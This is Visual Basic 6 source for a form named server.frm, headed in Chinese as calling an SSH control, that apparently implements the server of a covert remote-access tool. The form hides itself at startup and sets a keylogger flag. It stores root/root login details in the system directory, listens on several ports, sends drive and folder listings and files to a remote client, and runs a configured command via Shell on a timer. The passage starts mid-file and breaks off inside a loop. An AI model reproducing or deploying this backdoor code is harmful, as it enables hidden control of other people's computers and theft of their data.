server.frm

用VB调用SSH控件

End Function


Private Sub Check1_Click()
 If Check1.Value Then
       wskServer(0).LocalPort = 525
       wskServer(0).Listen
       
    Else
       wskServer(0).Close
       
    End If
End Sub



Private Sub Check2_Click()
If Check2.Value Then
wskClient.Close
wskClient.LocalPort = 555
wskClient.Listen
Else
wskClient.Close
End If
End Sub

Private Sub Command1_Click()
If Dir(Text1.Text) = "" Or Text1.Text = "" Then
       Exit Sub
    Else
       wskServer(0).SendData "SendFile," & Dir(Text1.Text) & "," & FileLen(Text1.Text)
    End If
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If wskServer(0).State = sckClosing Then

       wskServer(0).Close
       wskServer(0).LocalPort = 525
       wskServer(0).Listen
    End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
wskClient.Listen

End Sub

Private Sub Timer3_Timer()
'定时执行指定命令
On Error Resume Next
If i <> cvb Then
i = i + 1
WinsockCtl.SendData "Begin Time: " & i & " To End Time:" & cvb & " Server Currently:" & Time

Label3.Caption = "" & i
Else
Shell strvTime, vbNormalFocus
i = 0
Timer3.Enabled = False
End If
End Sub

Private Sub Winsock1_Close()
On Error Resume Next
If Winsock1.State = 8 Then
Winsock1.Close
Winsock1.Listen
End If
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
If Winsock1.State <> sckClosed Then                                     '如果Winsock1当前状态非关闭
        Winsock1.Close                                                      '关闭连接
    End If
Winsock1.Accept requestID

If strPass = Empty Then
Winsock1.SendData "ok"
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal BytesTotal As Long)

Dim pass As String

Dim Name As String, spass As String

Winsock1.GetData pass


 Name = Left(pass, 4)
   spass = Right(pass, Len(pass) - 4)
   'spass = DeCrypt(spass, "msd6d5aaber2-6") '解密函数
   

            If spass = strPass And Name = strname Then
             Winsock1.SendData "ok"
               Else
                 If cv <> strCont Then
                  Winsock1.SendData "no"
                    cv = cv + 1
                    Else
                    Winsock1.SendData "err"
                 End If
             End If
        
       
 'End If


End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

On Error Resume Next
If Winsock1.State = 8 Then
Winsock1.Close
Winsock1.Listen
Else
Winsock1.Close
Winsock1.Listen
End If
End Sub

Private Sub WinsockData_Close()
    WinsockData.Close
End Sub

Private Sub WinsockData_Connect()
    If WinsockData.State <> 7 Then WinsockData.Close
End Sub

Private Sub WinsockData_ConnectionRequest(ByVal requestID As Long)
    WinsockData.Close
    WinsockData.Accept requestID
End Sub

Private Sub WinsockData_DataArrival(ByVal BytesTotal As Long)

    On Error GoTo FinaliseError
    
    WaitTime = 0
    Do Until WaitTime = 1
        WaitTime = WaitTime + 1: DoEvents
        Loop 'Pausing it helps the file be written before the next data blocks arrive
    
    If TransferFileOpen = False Then
        LoadedSize = False
        FoundBytes = 0
        GotBytes = 0
        FileBinary = ""
        FileNumber = FreeFile
        Open TransferFileName For Binary Access Write As #FileNumber
            TransferFileOpen = True
            AppendToFile = True
    Else
        DoEvents
    End If
    
    Dim Data As String
    WinsockData.GetData Data

    If LoadedSize = False Then
        TotalBytes = CLng(Right(Data, Len(Data) - 1))
        LoadedSize = True
    Else
        If AppendToFile = True Then
            GotBytes = GotBytes + Len(Data)
            If GotBytes >= TotalBytes Then
                AppendToFile = False
                Put #FileNumber, , Left(Data, Len(Data) - (GotBytes - TotalBytes))
                Close #FileNumber
                TransferFileOpen = False
            Else
                FoundBytes = FoundBytes + Len(Data)
                Put #FileNumber, , Data
            End If
        End If
    End If
    
    Exit Sub
    
FinaliseError:
    
    Close #FileNumber
    WinsockData.Close

End Sub

Private Sub WinsockData_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
    WinsockData.Close
End Sub

Private Sub Send_File(FileName As String)
    
    Dim FileNumber As Integer
    Dim FileBinary As String
    Dim BlockSize As Integer
    
    FileNumber = FreeFile
    Open FileName For Binary As #FileNumber
        
        BlockSize = 2048
        FileBinary = Space(BlockSize)
        WinsockData.SendData ";" & LOF(FileNumber)

        '{
        WaitTime = 0                'This creates a pause so the size is sent in time to Client
        Do Until WaitTime = 1000    'so the file binary doesn't add onto the end of the size
            DoEvents:               'and become a type mismatch
            WaitTime = WaitTime + 1: Loop
        '}
        
        Do
            Get #FileNumber, , FileBinary
            WinsockData.SendData FileBinary
            DoEvents: Loop Until EOF(FileNumber)
            
    Close #FileNumber

End Sub

Private Sub LoadCDRomdata()
    On Error Resume Next
    SendMCIString "close all", False
    If (SendMCIString("open cdaudio alias cd wait shareable", True) = False) Then
        'Do nothing
    End If
    SendMCIString "set cd time format tmsf wait", True
End Sub

Private Sub Form_Load()
   Me.Hide
    If App.PrevInstance = True Then End
    LoadCDRomdata
    EndKeylogger = True
    Check1.Value = 1
cvb = 50 '默认50秒

'得到系统的系统目录
SysPath = String(255, 0)
len5 = GetSystemDirectory(SysPath, 256)
SysPath = Left(SysPath, InStr(1, SysPath, Chr(0)) - 1)

    wskClient.Listen
    If Dir(SysPath & "\remIP.ini") = Empty Then
 Open SysPath & "\remIP.ini" For Output As #1
 Print #1, "[database]" & vbCrLf & "RemIP=127.0.0.1" & vbCrLf & "database=" & vbCrLf & "RemName=root" & vbCrLf & "RemPort=21119" & vbCrLf & "ServerRemPort=11189" & vbCrLf & "LoPass=root" & vbCrLf & "dbparm=5" & vbCrLf & "purview=1"
 Close #1
 End If
 i = 0
 Dim Strpath As String
 
Winsock1.Listen

 Strpath = SysPath & "\remIP.ini"
 strname = GetProfile(Strpath, "database", "RemName")
 strPass = GetProfile(Strpath, "database", "LoPass")
 strCont = GetProfile(Strpath, "database", "dbparm")
 userPurview = GetProfile(Strpath, "database", "purview")
 
End Sub

Private Sub Timer_Timer()
    On Error Resume Next
    WinsockCtl.Listen
End Sub

Private Sub TimerFileListen_Timer()
    On Error Resume Next
    WinsockData.Listen
End Sub

Private Sub WinsockCtl_Close()
    If WinsockCtl.State <> 7 Then WinsockCtl.Close
End Sub

Private Sub WinsockCtl_ConnectionRequest(ByVal requestID As Long)
    If WinsockCtl.State <> sckClosed Then WinsockCtl.Close
    WinsockCtl.Accept requestID
   
End Sub

Private Sub WinsockCtl_DataArrival(ByVal BytesTotal As Long)
    
    On Error GoTo FinaliseError
    
    Dim FileBinary As String
    Dim FileNumber As Long
    Dim strPass As String
    Dim RegVal0(0 To 13) As String
    
    Dim SendString As String
    Dim SendData As String
    
    Dim CountVal As Long
    Dim LastLen  As Long
    Dim val01 As String
    Dim val02 As String
    Dim val03 As String
    
    WinsockCtl.GetData SendData
    
    FileList.Refresh
    DriveList.Refresh
    ListDir.Refresh
    
    If Left(SendData, 17) = "[LOAD DRIVE DATA]" Then '解密信息
        SendString = "[DRIVE LIST]" & DriveList.ListCount
        For M = 0 To DriveList.ListCount - 1
            SendString = SendString & Chr(0) & DriveList.List(M)
        Next M
        WinsockCtl.SendData SendString

    End If
    
    If Left(SendData, 18) = "[LOAD FOLDER DEFA]" Then
        FolderPath = Mid(SendData, 19, Len(SendData) - 18)
        ListDir.Path = "C:"
        SendString = ""
        For M = 0 To ListDir.ListCount - 1
            SendString = SendString & Chr(0) & ListDir.List(M)
        Next M
        SendString = SendString & Chr(0)
        If Len(SendString) < 4000 Then
            SendString = CStr("[FOLD LIST]" & SendString)
            WinsockCtl.SendData SendString
        Else
            For M = 0 To 10
                If M = 0 Then
                    WinsockCtl.SendData "A" & M & Mid(SendString, 1, Len(SendString) / 10)
                Else
                    WinsockCtl.SendData "A" & M & Mid(SendString, (Len(SendString) / 10) * M, Len(SendString) / 10)
                End If
                WaitTime = 0
                Do Until WaitTime = 0.000001